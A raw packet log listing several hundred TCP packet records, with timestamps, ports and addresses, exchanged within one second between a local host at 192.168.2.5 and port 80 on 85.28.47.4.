Jun 28, 2024 13:36:06.601027966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601046085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601068020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601078987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601093054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601094007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601120949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601126909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601131916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601142883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601151943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601161003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601196051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601293087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601306915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601316929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601326942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601336956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601345062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601346970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601357937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601366043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601391077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601402998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601407051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601428986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601463079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601502895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601512909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601524115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601533890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601547003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601548910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601560116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601569891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601569891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601623058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601632118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601679087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601690054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601701021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601736069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601742029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601752996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601763964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601774931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601794958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601824999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601857901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601869106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601880074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601908922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601938963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601969957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601982117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.601991892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.602000952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.602018118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.602022886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.602026939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.602060080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.602089882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.602138042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.602148056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.602158070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.602168083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.602179050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.602188110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.602190018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.602199078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.602230072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.602260113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.602287054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.602325916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.602334023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.602336884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.602346897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.602356911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.602366924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.602372885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.602376938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.602410078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.602440119 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.604940891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.604984999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.604994059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605001926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605027914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605040073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605046988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605051041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605062962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605072975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605087042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605133057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605176926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605186939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605196953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605206013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605216980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605223894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605246067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605274916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605289936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605299950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605309010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605319977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605329990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605334044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605370045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605467081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605477095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605488062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605498075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605508089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605509996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605519056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605530024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605566978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605581045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605590105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605601072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605611086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605621099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605648041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605680943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605700016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605715036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605724096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605734110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605739117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605743885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605755091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605763912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605773926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605775118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605784893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.605811119 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605833054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.605992079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.606003046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.606013060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.606023073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.606033087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.606044054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.606043100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.606081963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.606081963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.606095076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.606105089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.606106997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.606116056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.606127024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.606137991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.606139898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.606148005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.606158018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.606177092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.606199026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.691659927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.691690922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.691703081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.691713095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.691724062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.691732883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.691744089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.691755056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.691765070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.691775084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.691786051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.691797018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.691802025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.691832066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.691864014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.691895962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.691946983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.691958904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.691968918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.691979885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.691989899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.691997051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.691999912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692011118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692020893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692034006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692064047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692074060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692084074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692094088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692104101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692122936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692152977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692244053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692255020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692265034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692275047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692285061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692295074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692298889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692306042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692317009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692317963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692327976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692337036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692346096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692353964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692356110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692365885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692373991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692377090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692388058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692400932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692423105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692451000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692552090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692576885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692586899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692595959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692601919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692605972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692615986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692626953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692642927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692642927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692678928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692715883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692763090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692835093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692846060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692857027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692866087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692877054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692883968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692888021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692898989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692909002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692918062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692924976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692951918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692960978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.692971945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.692997932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.693058968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.693069935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.693079948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.693092108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.693100929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.693105936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.693111897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.693121910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.693123102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.693133116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.693166018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.693192959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.695395947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695405960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695416927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695455074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.695486069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.695502996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695513964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695524931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695537090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695547104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.695550919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695561886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695566893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.695607901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.695642948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695660114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695671082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695681095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695691109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695692062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.695700884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695713043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695725918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.695763111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.695808887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695821047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695862055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.695890903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695903063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695913076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695924044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695933104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695938110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.695941925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695952892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695964098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.695975065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.696011066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.696158886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696170092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696182013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696192026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696202993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696212053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696213961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.696222067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696230888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.696232080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696244001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696254969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696260929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.696280003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.696289062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696297884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696300030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.696309090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696320057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696338892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.696355104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.696418047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696428061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696438074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696448088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696470976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.696513891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.696561098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696571112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696579933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696588993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696604013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696603060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.696613073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696626902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.696634054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696646929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.696650982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696661949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.696675062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.696707010 CEST	49705	80	192.168.2.5	85.28.47.4
